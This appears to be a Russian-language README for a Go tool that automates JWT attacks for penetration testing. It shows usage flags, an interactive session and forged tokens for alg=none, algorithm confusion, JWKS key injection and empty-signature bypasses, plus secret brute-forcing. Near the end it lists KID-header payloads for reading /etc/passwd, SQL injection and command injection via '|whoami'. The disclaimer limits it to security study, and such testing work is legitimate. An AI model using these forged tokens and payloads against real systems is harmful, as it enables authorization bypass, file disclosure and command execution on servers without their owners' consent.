
Инструмент для проверки уязвимостей/взлома ключей, разработанный для пентеста JWT. Генерирует результаты для FUZZ на основе CVE-2015-9235/пустого ключа/атаки с непроверенной подписью/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042. Также можно использовать словарный/символьный перебор (включая JJWT) для взлома (JWT Crack).
Торжественное заявление: технологии, идеи и инструменты, описанные в документе, предназначены только для учебного обмена в целях безопасности. Никто не может использовать их в незаконных целях или для извлечения прибыли. В противном случае ответственность лежит на самом пользователе .
Инструмент проверки уязвимостей и брутфорса секретов, разработанный для пентеста JWT. Генерирует результаты для FUZZ на основе CVE-2015-9235 / атака с непроверенной подписью / CVE-2016-10555 / CVE-2018-0114 / CVE-2020-28042. Также возможен брутфорс с использованием словаря или символьного перебора.Описание инструмента · Инструкция по использованию · Примечания · Техническое общение
При проведении пентеста проектов компании, особенно в проектах с разделением frontend/backend, часто встречается JWT как токен для проверки прав доступа. Обычно можно использовать jwt-tool и другие инструменты, но они не всегда решают задачу «в один шаг». Поэтому я разработал на Go вспомогательный инструмент для пентеста JWT, который помогает тестировать обход авторизации.
Для каких сценариев подходит инструмент:
В чём преимущества инструмента:
# Сборка
go mod tidy
cd cmd
go build.
# Запуск из командной строки
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
-df string
Использовать ли payload из файла. По умолчанию пусто — использовать встроенный словарь ролей (режим привязки 2). Если не пусто — режим привязки 3.
-em int
Режим шифрования секрета: NONE/MD5/16-символов MD5/BASE64 (по умолчанию ALL=>0, NONE=>1, MD5=>2, 16-символов MD5=>3, BASE64=>4)
-fs string
Словарь брутфорса по умолчанию, можно изменить по своему усмотрению (используется с -fz для указания длины) (default "abcdefghijklmnopqrstuvwxyz0123456789")
-fz int
Максимальная длина символов для брутфорса (если нужна точная длина -fz)
-jbc string
Изменяемый body JWT
-jm int
Режим 1: (секрет неизвестен) модификация Payload для теста обхода авторизации. Режим 2: (сначала режим 1) PayloadFuzz обход. Режим 3: брутфорс секрета по текстовому словарю. Режим 4: брутфорс секрета по символам (если нужна длина -fz). Режим 5: проверка секрета JWT. (default 1)
-jwt.txt string
Строка JWT
-mz int
Минимальная длина символов для брутфорса (если нужна минимальная длина -mz). Значение по умолчанию 1 (default 1)
-pem string
Путь к открытому ключу PEM (лучше абсолютный путь)
-pt int
Выбор режима: 0 — выполнить всё по умолчанию, 1 — изменить alg на none (CVE-2015-2951), 2 — обход из-за непроверенной подписи, 3 — изменить асимметричный алгоритм на симметричный (CVE-2016-10555), 4 — инъекция открытого ключа JWKS — подделка ключа (CVE-2018-0114), 5 — пустая подпись (CVE-2020-28042)
-s string
Известный секрет, по умолчанию пусто.
# Интерактивный запуск
.\cmd.exe
? 【Предварительный выбор】 Выберите режим для тестирования обхода авторизации при неизвестном секрете:
[·] [Use arrows to move, type to filter]
> Режим 1: (секрет неизвестен) модификация Payload тест обхода
Режим 2: (сначала режим 1) PayloadFuzz тест обхода
Режим 3: брутфорс секрета по текстовому словарю
Режим 4: брутфорс секрета по символам
Режим 5: проверка секрета JWT
? Введите вашу строку JWT:
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]JWT Header: {"alg":"HS256","typ":"JWT"}
JWT Payload: {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
JWT Signature: 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8
? 【Режим 1】【Режим 2】 При неизвестном секрете выберите конкретный режим тестирования обхода:
[·] [Use arrows to move, type to filter]
> Режим 0: выполнить всё по умолчанию
Режим 1: изменить alg на none (CVE-2015-2951)
Режим 2: обход из-за непроверенной подписи
Режим 3: изменить асимметричный алгоритм на симметричный (CVE-2016-10555)
Режим 4: инъекция открытого ключа JWKS — подделка ключа (CVE-2018-0114)
Режим 5: пустая подпись (CVE-2020-28042)
? В режимах 【Режим 1】【Режим 2】【Режим 5】 необходимо изменить часть Payload (вторую часть JWT) — строку JSON для тестирования обхода. Скопируйте Payload из предыдущего шага, измените и введите здесь:
【Режим 1】【Режим 5】 Пример: {"username":"admin","role":"admin"}
【Режим 2】 Пример: {"usernmae":"admin","role":"FUZZ"}
Обратите внимание: в 【Режим 2】 FUZZ заменяет позицию в словаре. Если не изменять, можно просто нажать Enter — будет использован исходный Payload.
? Введите путь к файлу открытого ключа PEM (лучше абсолютный путь)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem
==============Тест обхода авторизации без знания секрета (модификация Payload)===========
① В большинстве случаев, когда alg установлен в HS256, можно изменить JWT на none (CVE-2015-9235)
[+]【alg=none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg=None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg=NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg=NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② Атака с непроверенной подписью: изменение Payload без проверки
[+]【Атака недействительной подписью】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ Атака: изменение асимметричного алгоритма на симметричный (CVE-2016-10555)
[+] 【Изменение асимметричного алгоритма на симметричный】:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiIiLCJraWQiOiIiLCJ1c2UiOiIiLCJuIjoiIiwiZSI6IiJ9fQ.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.h3V6ZHHJ3tt080xFLsA4U1_Z0VT8wkLQD9I2miqIeE0
④ Инъекция открытого ключа JWKS — подделка ключа (CVE-2018-0114)
[+]【Подделка ключа】: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJleGFtcGxlQGV4YW1wbGUuY29tIiwidXNlIjoic2lnIiwibiI6IjdLVktGZXpyeTlIclRFUERUcG5Xc2V3cnZQUkNsVE1pZXNGb1BXVlFtOTRMbFpwZzhmT1puMU4zMWNMMWdMUDROTExqek42cmFfRG8tQnJyZEVNMkpSeVVpUjUxUEpKTFUyRG9TdUNZcHlhTk53TG0zNzZEY09td1VyWlJ1SVVyMmlpWWJsVVJwaXl4SVl1SzJuWVIzYzBvalZGdnNJMmluc25PZnhIaTJvWkNWdS1SeDdVQkJIdDFRUUxzUEc4MDh4cVJDTU4yd1EwYklDNVZKWkl3YzhaQnVCNnVEUXRnSFc2UjBKc0hyU1BOVk9wY2NXbHJURlpGQjV0SVhxMUhJLUh1QnZ4WW53LWRYdU1FYWZSczFkQzg5Q3FfQ1FHSnY0M2h4SzZsQlZ4bnNQYWQ2QmpGSGZrSVQxdnk4LTNfSUJMT2J0Vnp0eDQyTmFGTzhzcVZrUSIsImUiOiJBUUFCIn19.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.6yhddpQy3gxajRYCc3HQHGflqLfyN3Ettre95E_u_BYtEl7-6058CKEdQjWT8CIPD7UGz6Mktx43o8Q2R5ILzkro2TkrE7ELW0--CDCf1bot--ho8LCovybl5TZtTGbSfE5F1zPiQCPnJTnQOe438VU7-MykBVFW690B1Ymk6YbmTzVyVS3mgdE252ocGHIyoG8EEPW3u3ZYXcB9rL30-mNLKmkctPHRCE-TXv7CZtLsrwK7SJTPgBh1jKtsdfFEXtpGrHOwaG2OOk5k8CzpIbWN9rt6lp4hlVaX-5Y1WWpPRHsmBCLVytZaJ2iQtLJjaZM659_hK_w5Os6sngyVNA
⑤ Атака с пустой подписью (CVE-2020-28042)
[+]【Пустая подпись】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
Примечание: все результаты JWT сохранены в файл result.txt в текущем каталоге. Их можно скопировать для тестирования в Intruder на предмет действительности токена.
① В большинстве случаев, когда alg установлен в HS256, JWT изменяется на none (CVE-2015-9235)
② Атака с непроверенной подписью: изменение Payload без проверки
③ Атака: изменение асимметричного алгоритма на симметричный (CVE-2016-10555)
④ Инъекция открытого ключа JWKS — подделка ключа (CVE-2018-0114)
⑤ Атака с пустой подписью (CVE-2020-28042)
Можно напрямую повторять в Repeater.
Обнаружение других специальных уязвимостей:
При анализе первой части JWT, если обнаружены другие параметры, может появиться подсказка о возможных уязвимостях.
// Тестовый код Java для jjwt
public class JwtExample {
private static void disableKeyLengthCheck() throws Exception {
// Используем рефлексию для изменения minKeyLength SignatureAlgorithm.HS256
Field minKeyLengthField = SignatureAlgorithm.class.getDeclaredField("minKeyLength");
minKeyLengthField.setAccessible(true);
minKeyLengthField.set(SignatureAlgorithm.HS256, 0); // Устанавливаем минимальную длину ключа в 0
}
public static void main(String[] args) throws Exception {
disableKeyLengthCheck();
// Исходный секрет
String secret = "test@123";
JwtBuilder jwtBuilder = Jwts.builder().setHeaderParam("kid", "your-key-id").setId("400").setSubject("test").setAudience("{\"abc\":\"123\"}").signWith(SignatureAlgorithm.HS256, secret.getBytes());
HashMap<String, Object> stringObjectHashMap = new HashMap<>();
stringObjectHashMap.put("test", "test");
jwtBuilder.addClaims(stringObjectHashMap);
System.out.println(jwtBuilder.compact());
}
}
Результат: eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM



Здесь связанные уязвимости (я взял из других статей, анализируйте сами)
1. Чтение произвольного файла
Параметр KID используется для чтения файла ключа, но система не знает, хочет ли пользователь читать именно файл ключа. Поэтому, если параметр не фильтруется, злоумышленник может прочитать любой файл системы.
{ "typ": "JWT", "kid": "/etc/passwd", "alg": "HS256"}
2. SQL-инъекция
KID также может извлекать данные из базы данных, что может привести к SQL-инъекции. Можно сконструировать SQL-запрос для получения данных или обхода проверки подписи.
При наличии поля KID попробуйте инъекцию: измените значение KID на SQL-выражение, username на Tom, секрет подписи на то же самое, что и SQL-выражение. Например, если в SQL-выражении используется base64 от 3 (Mw==), то секрет подписи — 3:
{ "typ": "JWT", "kid":"';select 'Mw==' from jwt_keys --"}
3. Командная инъекция
При недостаточной фильтрации параметра KID также может возникнуть командная инъекция, но условия использования довольно жёсткие. Если сервер использует Ruby и при чтении файла ключа использует функцию open, то путём конструирования аргументов можно вызвать командную инъекцию.
{ "typ": "JWT", "kid": "/path/to/key_file|whoami", "alg": "HS256"}
Если появляются другие параметры, их также можно проанализировать дополнительно.
Теперь модуль брутфорса
Найдите любой словарь в интернете.
Тестируем JWT1 (секрет 123456):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg

Тестируем JWT2 (jjwt secret test@123):
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM

Тестируем на JWT1 эффект генерации по символам:
Здесь я сгенерировал все словари длины 4–6, вход 1234567890. Для демонстрации не нужно делать слишком большой, вы можете тестировать сами — скорость будет высокой.

В текущем каталоге будет создан genFuzzDict.txt. Поскольку объём генерации может быть огромным, изначально использовался пул потоков + модель производитель/потребитель, но при запуске начиная с длины 4 программа падала из-за нехватки памяти. Поэтому улучшил до сохранения в файл и чтения из него; когда программа находит ключ, она автоматически завершается и не читает файл дальше.
Пример с MD5:
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.cVkiZiHhiB4galgAh6EB_mrIOd3gPqqPsuXZq9S2MQw

Режим 3: изменение асимметричного алгоритма на симметричный (CVE-2016-10555). Если в JS страницы есть утёкший открытый ключ, используйте его. Если нет, используйте этот как замену для генерации, иначе будет ошибка.Инструменты пентеста Github: https://github.com/z-bool Venom
Проекты по исследованию безопасности Github: https://github.com/SpringKill-team SpringKill Team
Публичный аккаунт "阿呆攻防":
